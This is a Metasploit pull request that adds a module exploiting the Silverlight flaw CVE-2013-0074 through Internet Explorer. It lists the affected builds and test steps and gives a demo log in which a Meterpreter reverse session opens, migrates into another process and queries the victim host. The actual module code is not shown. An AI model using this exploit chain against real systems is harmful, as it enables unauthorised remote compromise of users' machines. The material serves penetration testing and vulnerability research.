rapid7/metasploit-framework — pull request #2677 by jvazquez-r7 (2013-11-22 23:48:43+00:00)
Title: Module for CVE-2013-0074

First version, tested over Win XPSP3 / Win 7 SP1 / IE6-IE10

* Verification steps

- [ ] Install MS/IE
- [ ] Install Silverlight 5 (atm only compatible tested on Silverlight 5 releases). Affected builds by this exploit are:

Silverlight 5 Build 5.1.10411.0 Released May 8, 2012
Silverlight 5 Build 5.0.61118.0 Released December 9, 2011

Find downloads here: http://www.microsoft.com/getsilverlight/locale/en-us/html/Microsoft%20Silverlight%20Release%20History.htm#SL_5_1_10411

(Release candidate and beta ask to upgrade)

The runtime is enough to test the exploit no need to install the full Silverlight SDK

- [ ] Run the module and enjoy hopefully enjoy sessions.

* Silverlight Application

If you would like to compile / play I've used the next steps:

- Install Visual Studio 2010
- Install Visual Studio 2010 SP1
- Install Silverlight 5 tools for Visual Studio 2010. (http://www.microsoft.com/en-us/download/details.aspx?id=28358)
- Install Silverlight5 Developer version (SDK) from the Silverlight releases.

* Demo

```
msf exploit(ms13_022_silverlight_script_object) > [*] 10.6.0.165 ms13_022_silverlight_script_object - Gathering target information.
[*] 10.6.0.165 ms13_022_silverlight_script_object - request: /AQsuky7me/mSKCCc/
[*] 10.6.0.165 ms13_022_silverlight_script_object - Sending HTML...
[*] 10.6.0.165 ms13_022_silverlight_script_object - request: /AQsuky7me/mSKCCc/xtTUijPG.xap
[*] 10.6.0.165 ms13_022_silverlight_script_object - Sending XAP...
[*] Sending stage (769024 bytes) to 10.6.0.165
[*] Meterpreter session 1 opened (10.6.0.165:4444 -> 10.6.0.165:53385) at 2013-11-22 17:38:28 -0600
[*] Session ID 1 (10.6.0.165:4444 -> 10.6.0.165:53385) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: IEXPLORE.EXE (1260)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 912

msf exploit(ms13_022_silverlight_script_object) >
msf exploit(ms13_022_silverlight_script_object) > [+] Successfully migrated to process

msf exploit(ms13_022_silverlight_script_object) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: WIN-GC9RE2PEUDV\Juan Vazquez
meterpreter > sysinfo
Computer : WIN-GC9RE2PEUDV
OS : Windows 7 (Build 7601, Service Pack 1).
Architecture : x64 (Current Process is WOW64)
System Language : en_US
Meterpreter : x86/win32
meterpreter > exit
[*] Shutting down Meterpreter...
````